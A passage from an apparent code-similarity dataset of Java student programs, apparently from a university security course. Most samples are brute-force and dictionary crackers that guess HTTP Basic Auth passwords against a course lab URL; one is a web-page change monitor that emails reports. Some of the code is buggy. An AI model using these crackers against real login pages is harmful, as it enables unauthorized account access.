\ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\
\ String line;\n while ((line = in.readLine()) != null) {\n \
\ System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ System.out.println(\"Trying again with new password\");\n Bruteforce a =\
\ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\
Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\
\ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \
\ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \
\ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\
\ String();\n String c2 = new String();\n String c3 = new String();\n \
\ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \
\ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\
\ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\
\ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\
\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\
\ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\
\ openURLForInput (URL url, String uname, String pword)\n throws IOException \
\ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\
\ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \
\ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\
\ username, String password) {\n return \" \" + base64Encode (username + \"\
:\" + password);\n }\n\n private final static char base64Array [] = {\n \
\ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\
\ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\
\ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\
\ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\
\ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\
\n private static String base64Encode (String string) {\n String encodedString\
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\
\ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \
\ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\
\ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \
\ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\
\ = 0;\n pad = 1;\n }\n else\n b3\
\ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\
\ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\
\ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n"
- "\npublic class CasePasswords\n{\n\n \n static int verbose = CrackingConstants.quietMode;\n\
\n \n\t\n\tpublic void CasePasswords()\n\t{\n }\n\n\t\n\tpublic void CasePasswords(int\
\ inVerbose)\n\t{\n\t verbose = inVerbose;\n }\n\n\t\n public String\
\ [] createCasedPasswords( int leftIndex, int midIndex, int rightIndex, String\
\ tail, String [] lowerChars, String [] upperChars, int scanType)\n {\n \
\ String [] casedPasswords = null;\n \n \n \n \
\ if(scanType == CrackingConstants.casedScan)\n if(rightIndex > -1)\n\
\ {\n \n casedPasswords = new String[8];\n\
\ }\n else if(midIndex > -1)\n {\n \
\ \n casedPasswords = new String[4];\n }\n \
\ else\n {\n \n casedPasswords\
\ = new String[2];\n }\n else \n {\n \n \
\ casedPasswords = new String[1];\n }\t\n \n \
\ \n \n \n if(scanType == CrackingConstants.casedScan)\n\
\ {\n if(rightIndex > -1)\n {\n \n\
\ casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex]\
\ + lowerChars[rightIndex];\n casedPasswords[1] = upperChars[leftIndex]\
\ + upperChars[midIndex] + upperChars[rightIndex];\n casedPasswords[2]\
\ = lowerChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];\n \
\ casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex]\
\ + lowerChars[rightIndex];\n casedPasswords[4] = upperChars[leftIndex]\
\ + lowerChars[midIndex] + lowerChars[rightIndex];\n casedPasswords[5]\
\ = upperChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];\n \
\ casedPasswords[6] = upperChars[leftIndex] + lowerChars[midIndex]\
\ + upperChars[rightIndex];\n casedPasswords[7] = lowerChars[leftIndex]\
\ + upperChars[midIndex] + upperChars[rightIndex];\n }\n \
\ else if(midIndex > -1)\n {\n \n casedPasswords[0]\
\ = lowerChars[leftIndex] + lowerChars[midIndex];\n casedPasswords[1]\
\ = upperChars[leftIndex] + upperChars[midIndex];\n casedPasswords[2]\
\ = lowerChars[leftIndex] + lowerChars[midIndex];\n casedPasswords[3]\
\ = lowerChars[leftIndex] + upperChars[midIndex];\n }\n \
\ else\n {\n \n casedPasswords[0] = lowerChars[leftIndex];\n\
\ casedPasswords[1] = upperChars[leftIndex];\n }\n \
\ }\n else\t\n {\n if(rightIndex > -1)\n \
\ {\n \n casedPasswords[0] = lowerChars[leftIndex]\
\ + lowerChars[midIndex] + lowerChars[rightIndex];\n }\n \
\ else if(midIndex > -1)\n {\n \n casedPasswords[0]\
\ = lowerChars[leftIndex] + lowerChars[midIndex];\n }\n \
\ else\n {\n \n casedPasswords[0] = lowerChars[leftIndex];\n\
\ }\n }\t\n \n \n \n \n \n\
\ if(\"\" != tail)\n \tfor( i = 0; i < casedPasswords.length; i++)\n\
\ \t\tcasedPasswords[i] += tail;\n \n\t if(verbose\
\ == CrackingConstants.verboseMode2)\n\t printPasswords(casedPasswords);\n\
\n return casedPasswords;\n } \n \n\t\n public String [] createCasedPasswords(String\
\ candidate, int scanType)\n {\n \n int candLength = candidate.length();\n\
\ int arrayLength = 2 ^ candLength;\n arrayLength = 1;\n \
\ String [] shortCasedPasswords = new String[1];\n String [] casedPasswords\
\ = null;\n char[] password = new char [candidate.length()];\n \n\
\ \n if(scanType != CrackingConstants.simpleScan)\n candidate.getChars(0,\
\ candidate.length(), password, 0);\n \n \n \n \n\
\ \n \n \n \n \n \n if(scanType\
\ == CrackingConstants.simpleScan)\n {\n \n \n \
\ casedPasswords = new String[1];\n casedPasswords[0] = candidate;\n\
\ }\n else if(candidate.length() == 1)\n {\n casedPasswords\
\ = new String[2];\n casedPasswords[0] = Character.toString(Character.toLowerCase(password[0]));\n\
\ casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]));\n\
\ \n }\n else if (candidate.length() == 2)\n {\n\
\ casedPasswords = new String[4];\n casedPasswords[0] =\
\ Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));\n\
\ casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]))\
\ + Character.toString(Character.toUpperCase(password[1]));\n casedPasswords[2]\
\ = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));\n\
\ casedPasswords[3] = Character.toString(Character.toUpperCase(password[0]))\
\ + Character.toString(Character.toLowerCase(password[1]));\n \n \
\ }\n else if (candidate.length() == 3)\n {\n casedPasswords\
\ = new String[8];\n casedPasswords[0] = Character.toLowerCase(password[0])\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]);\n\
\ casedPasswords[1] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\
\ + Character.toUpperCase(password[2]);\n casedPasswords[2] = Character.toLowerCase(password[0])\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]);\n\
\ casedPasswords[3] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\
\ + Character.toLowerCase(password[2]);\n casedPasswords[4] = Character.toUpperCase(password[0])\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]);\n\
\ casedPasswords[5] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\
\ + Character.toLowerCase(password[2]);\n casedPasswords[6] = Character.toUpperCase(password[0])\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]);\n\
\ casedPasswords[7] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))\
\ + Character.toUpperCase(password[2]);\n \n }\n else\
\ if (candidate.length() > 3)\n {\n casedPasswords = new String[8];\n\
\ String tailCharacters = new String(password, 3, (password.length\
\ - 3));\n casedPasswords[0] = Character.toString(Character.toLowerCase(password[0]))\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\
\ + tailCharacters;\n casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]))\
\ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\
\ + tailCharacters;\n casedPasswords[2] = Character.toString(Character.toLowerCase(password[0]))\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\
\ + tailCharacters;\n casedPasswords[3] = Character.toString(Character.toLowerCase(password[0]))\
\ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\
\ + tailCharacters;\n casedPasswords[4] = Character.toString(Character.toUpperCase(password[0]))\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\
\ + tailCharacters;\n casedPasswords[5] = Character.toString(Character.toUpperCase(password[0]))\
\ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2]))\
\ + tailCharacters;\n casedPasswords[6] = Character.toString(Character.toUpperCase(password[0]))\
\ + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\
\ + tailCharacters;\n casedPasswords[7] = Character.toString(Character.toLowerCase(password[0]))\
\ + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2]))\
\ + tailCharacters;\n \n }\n \n\t if(verbose == CrackingConstants.verboseMode2)\n\
\t printPasswords(casedPasswords);\n\n return casedPasswords;\n\
\ }\n \n \n\t\n private void printPasswords(String [] passwords)\n\
\ {\n if(passwords.length > 0)\n {\n for( i = 0; i\
\ < passwords.length; i++)\t\n {\n System.out.print(passwords[i]\
\ + \"\\t\");\n }\n System.out.println(\"\\n\");\n \
\ }\n } \n \n} \n"
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\
\ dictionary word and waiting for URL reply....... \");\n String currentword\
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\
\ 1;\n }\n else\n b3 = bytes [i++];\n \
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\
\ encodedString += base64Array [c2];\n switch (pad) {\n case\
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\
\ base64Array [c4];\n break;\n case 1:\n encodedString\
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\
\ case 2:\n encodedString += \"==\";\n break;\n \
\ }\n }\n return encodedString;\n }\n }\n\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\
\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\
\ status = false;\n\n public static void main (String args[]){\n Dictionary\
\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\
);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\npublic class\
\ WatchDog extends TimerTask{\n\n private static URL location;\n private static\
\ String email;\n private static int checktime;\n private static Timer timer\
\ = new Timer();\n private BufferedReader input;\n private File checksumFile\
\ = new File(\"chksum.txt\");\n private File temp0000File = new File(\"temp0000\"\
);\n private File kept0000File = new File(\"kept0000\");\n\n \n\n public\
\ WatchDog(){\n timer.schedule(this, new Date(), checktime);\n }\n\n\n\
\ \n\n public void run(){\n Vector imageFiles = new Vector();\n\
\ Vector diffImages = new Vector();\n try {\n System.out.println(\"\
\ Time: \".concat(new Date().toString()));\n System.out.println(\"Retreiving\
\ File\");\n \n input = new BufferedReader(new InputStreamReader\n\
\ (location.openStream()));\n \n\
\ BufferedWriter outputFile = new BufferedWriter\n (new\
\ FileWriter(temp0000File));\n String line = input.readLine();\n \
\ while (line != null) {\n StringBuffer imageFileName = new StringBuffer();\n\
\ if (scanForImages(line, imageFileName)) {\n String imageFile\
\ = new String(imageFileName);\n System.out.println(\"Detected image:\
\ \".concat(imageFile));\n try {\n imageFiles.add(new\
\ URL(imageFile));\n }\n catch (MalformedURLException\
\ e) {\n System.out.println(\"Image file detected. URL is malformed\"\
);\n }\n }\n outputFile.write(line);\n \
\ outputFile.write(\"\\n\");\n line = input.readLine();\n \
\ }\n input.print();\n outputFile.flush();\n \
\ outputFile.print();\n System.out.println(\" File Retreived\");\n \
\ if (!imageFiles.isEmpty()) {\n checkImages(imageFiles, diffImages);\n\
\ }\n if (!checksumFile.exists()) {\n generateChecksum(temp0000File.getName(),\
\ checksumFile);\n }\n else {\n if (!checksumOk(checksumFile))\
\ {\n reportDifferences(true, temp0000File, kept0000File, diffImages);\n\
\ generateChecksum(temp0000File.getName(), checksumFile);\n \
\ }\n else if (!diffImages.isEmpty()){\n reportDifferences(false,\
\ null, null, diffImages);\n }\n }\n\n \n \
\ temp0000File.renameTo(kept0000File);\n System.out.println(\"End Time:\
\ \".concat(new Date().toString()));\n }\n catch (MalformedURLException\
\ e) {\n e.printStackTrace();\n }\n catch (ConnectException\
\ e) {\n System.out.println(\"Failed connect\");\n System.exit(-1);\n\
\ }\n catch (IOException e) {\n e.printStackTrace();\n\
\ System.exit(-1);\n }\n }\n\n \n\n public boolean\
\ scanForImages(String line, StringBuffer imageFileName) {\n \n \
\ \n String lineIgnoreCase = line.toLowerCase();\n int imgPos =\
\ lineIgnoreCase.indexOf(\"<img \");\n if ( imgPos != -1 ){\n \
\ int srcPos = lineIgnoreCase.indexOf(\"src\", imgPos);\n int bracketPos\
\ = lineIgnoreCase.indexOf(\">\", imgPos);\n if (srcPos != -1 && bracketPos\
\ != -1 && srcPos < bracketPos) {\n int quote1Pos = lineIgnoreCase.indexOf(\"\
\\\"\", srcPos);\n int quote2Pos = lineIgnoreCase.indexOf(\"\\\"\"\
, quote1Pos+1);\n if (quote1Pos != -1 && quote2Pos != -1 &&\n \
\ quote1Pos < quote2Pos && quote2Pos < bracketPos) {\n \
\ \n imageFileName.append(line.substring(quote1Pos + 1,\n \
\ quote2Pos));\n if (imageFileName.indexOf(\"//\") == -1\
\ ) {\n \n String URLName = location.toString();\n\
\ int slashPos = URLName.lastIndexOf(\"/\");\n URLName\
\ = URLName.substring(0, slashPos);\n String HostName = \"http://\"\
.concat(location.getHost());\n if (imageFileName.indexOf(\"//\"\
) == 0) {\n \n }\n else if (imageFileName.charAt(0)\
\ != '/') {\n \n imageFileName.insert(0, URLName.concat(\"\
/\"));\n }\n else {\n \n \
\ imageFileName.insert(0, HostName);\n }\n \
\ }\n return true;\n }\n }\n }\n \
\ return false;\n }\n\n \n\n public void checkImages(Vector\
\ imageFiles, Vector diffImages)\n throws IOException{\n System.out.println(\"\
Retrieving image \");\n Enumeration imageFilesEnumeration = imageFiles.elements();\n\
\ while (imageFilesEnumeration.hasMoreElements()) {\n URL url\
\ = (URL)imageFilesEnumeration.nextElement();\n try {\n BufferedInputStream\
\ imageInput = new BufferedInputStream\n (url.openStream());\n\
\ String localFile = url.getFile();\n \n \n \
\ \n \n \n int slashPosition = localFile.lastIndexOf(\"\
/\");\n if (slashPosition != -1) {\n localFile = localFile.substring(slashPosition+1);\n\
\ }\n System.out.println(\"Retrieving image file: \".concat(localFile));\n\
\ BufferedOutputStream imageOutput = new BufferedOutputStream\n \
\ (new FileOutputStream(localFile));\n byte bytes[] = new\
\ byte[10000];\n int noBytes = imageInput.get(bytes);\n \
\ while (noBytes != -1) {\n imageOutput.write(bytes, 0, noBytes );\n\
\ noBytes = imageInput.print(bytes);\n }\n \
\ File imageChecksumFile = new File(localFile.concat(\".chksum.txt\"));\n \
\ if (!imageChecksumFile.exists()) {\n generateChecksum(localFile,\
\ imageChecksumFile);\n }\n else {\n if (!checksumOk(imageChecksumFile))\
\ {\n diffImages.add(localFile);\n generateChecksum(localFile,\
\ imageChecksumFile);\n }\n }\n }\n \
\ catch (FileNotFoundException e) {\n System.out.println(\"Unable \
\ locate URL: \".concat(url.toString()));\n }\n }\n }\n\n\
\ \n\n public void generateChecksum(String inputFile, File checksum){\n\
\ try {\n System.out.println(\"Generating new checksum for \"\
.concat(inputFile));\n \n Process process = Runtime.getRuntime().exec(\"\
md5sum \".\n concat(inputFile));\n\
\ BufferedReader execCommand = new BufferedReader(new\n \
\ InputStreamReader((process.getInputStream())));\n BufferedWriter outputFile\
\ = new\n BufferedWriter(new FileWriter(checksum));\n String\
\ line = execCommand.readLine();\n while (line != null) {\n \
\ outputFile.write(line);\n outputFile.write(\"\\n\");\n \
\ line = execCommand.readLine();\n }\n outputFile.flush();\n\
\ outputFile.print();\n System.out.println(\"Checksum produced\"\
);\n }\n catch (IOException e) {\n e.printStackTrace();\n\
\ System.exit(-1);\n }\n }\n\n \n\n public boolean\
\ checksumOk(File chksumFile){\n try {\n System.out.println(\"\
Comparing checksums using \".concat(chksumFile\n ,e.getName()));\n\
\ \n Process process = Runtime.getRuntime().\n \
\ exec(\"md5sum --check \".concat(chksumFile.getName()));\n BufferedReader\
\ execCommand = new BufferedReader(new\n InputStreamReader( (process.getInputStream())));\n\
\ String line = execCommand.readLine();\n if (line.indexOf(\"\
: OK\") != -1) {\n System.out.println(\" the same\");\n \
\ return true;\n }\n }\n catch (IOException e) {\n \
\ e.printStackTrace();\n System.exit(-1);\n }\n System.out.println(\"\
Differences Found\");\n return false;\n }\n\n \n\n public\
\ void reportDifferences(boolean diffsFound, File file1, File file2,\n \
\ Vector images){\n try {\n System.out.println(\"\
Generating difference report\");\n \n Socket emailConnection\
\ = new Socket(\"yallara.cs.rmit.edu.\", 25);\n BufferedWriter emailOutStream\
\ = new BufferedWriter\n (new OutputStreamWriter(emailConnection.getOutputStream()));\n\
\ BufferedReader emailInStream = new BufferedReader\n (new\
\ InputStreamReader(emailConnection.getInputStream()));\n String line\
\ = emailInStream.readLine();\n System.out.println(line);\n \
\ if (!line.startsWith(\"220\")) {\n System.out.println\n \
\ (\" error occured connecting email server. Cannot send email.\");\n\
\ }\n else {\n \n \n emailOutStream.write(\"\
HELO yallara.cs.rmit.edu.\");\n emailOutStream.newLine();\n \
\ emailOutStream.flush();\n line = emailInStream.readLine();\n\
\ System.out.println(line);\n if (!line.startsWith(\"250\"\
)) {\n System.out.println\n (\" error occured\
\ connecting email server. Cannot send email.\");\n }\n \
\ else {\n emailOutStream.write(\"MAIL FROM: [email protected].\"\
);\n emailOutStream.newLine();\n emailOutStream.flush();\n\
\ line = emailInStream.readLine();\n System.out.println(line);\n\
\ if (!line.startsWith(\"250\")) {\n System.out.println\n\
\ (\" error occured sending email. Cannot send email.\");\n\
\ }\n else {\n emailOutStream.write(\"\
RCPT : \".concat(email));\n emailOutStream.newLine();\n \
\ emailOutStream.flush();\n line = emailInStream.readLine();\n\
\ System.out.println(line);\n if (!line.startsWith(\"\
250\")) {\n System.out.println\n (\" error\
\ occured sending email. Cannot send email.\");\n }\n \
\ else {\n emailOutStream.write(\"DATA\");\n \
\ emailOutStream.newLine();\n emailOutStream.flush();\n\
\ line = emailInStream.readLine();\n System.out.println(line);\n\
\ if (!line.startsWith(\"354\")) {\n System.out.println\n\
\ (\" error occured sending email. Cannot send email.\"\
);\n }\n emailOutStream.newLine();\n\n \
\ if (!images.isEmpty()) {\n emailOutStream.write\n\
\ (\"Differences were found in the following image \"\
);\n emailOutStream.newLine();\n Enumeration\
\ e = images.elements();\n while (e.hasMoreElements()) {\n\
\ String s = (String) e.nextElement();\n \
\ emailOutStream.write(s);\n emailOutStream.newLine();\n\
\ }\n emailOutStream.newLine();\n \
\ }\n\n if (diffsFound) {\n \
\ \n String command = \"diff \".concat(file1.getName().concat(\"\
\ \")\n .concat(file2.getName()));\n\
\ Process process = Runtime.getRuntime().exec(command);\n \
\ BufferedReader execCommand = new BufferedReader\n \
\ (new InputStreamReader( (process.getInputStream())));\n \
\ line = execCommand.readLine();\n emailOutStream.write(\"\
Diffences found in file\");\n emailOutStream.newLine();\n\
\ while (line != null) {\n System.out.println(line);\n\
\ emailOutStream.write(line);\n emailOutStream.newLine();\n\
\ line = execCommand.readLine();\n }\n\
\ }\n\n \n emailOutStream.newLine();\n\
\ emailOutStream.write(\".\");\n emailOutStream.newLine();\n\
\ emailOutStream.flush();\n line = emailInStream.readLine();\n\
\ System.out.println(line);\n if (!line.startsWith(\"\
250\")) {\n System.out.println\n (\"\
\ error occured sending email. Cannot send email.\");\n }\n \
\ else {\n emailOutStream.write(\"QUIT\");\n\
\ emailOutStream.newLine();\n emailOutStream.flush();\n\
\ System.out.println(emailInStream.readLine());\n \
\ }\n }\n }\n }\n }\n\
\ }\n catch (IOException e) {\n e.printStackTrace();\n\
\ System.exit(-1);\n }\n }\n\n\n \n\n public static\
\ void main(String args[]) {\n if (args.length != 3) {\n System.out.println(\"\
Usage: java WatchDog url email checktime(hours)\");\n System.exit(-1);\n\
\ }\n try {\n location = new URL(args[0]);\n }\n catch\
\ (MalformedURLException e) {\n e.printStackTrace();\n }\n email\
\ = new String().concat(args[1]);\n checktime = Integer.parseInt(args[2])\
\ * 60 * 60 * 1000;\n new WatchDog();\n }\n}\n"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\
\ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\
\ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\
\ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\
\ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\
\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\
\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\
\ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\
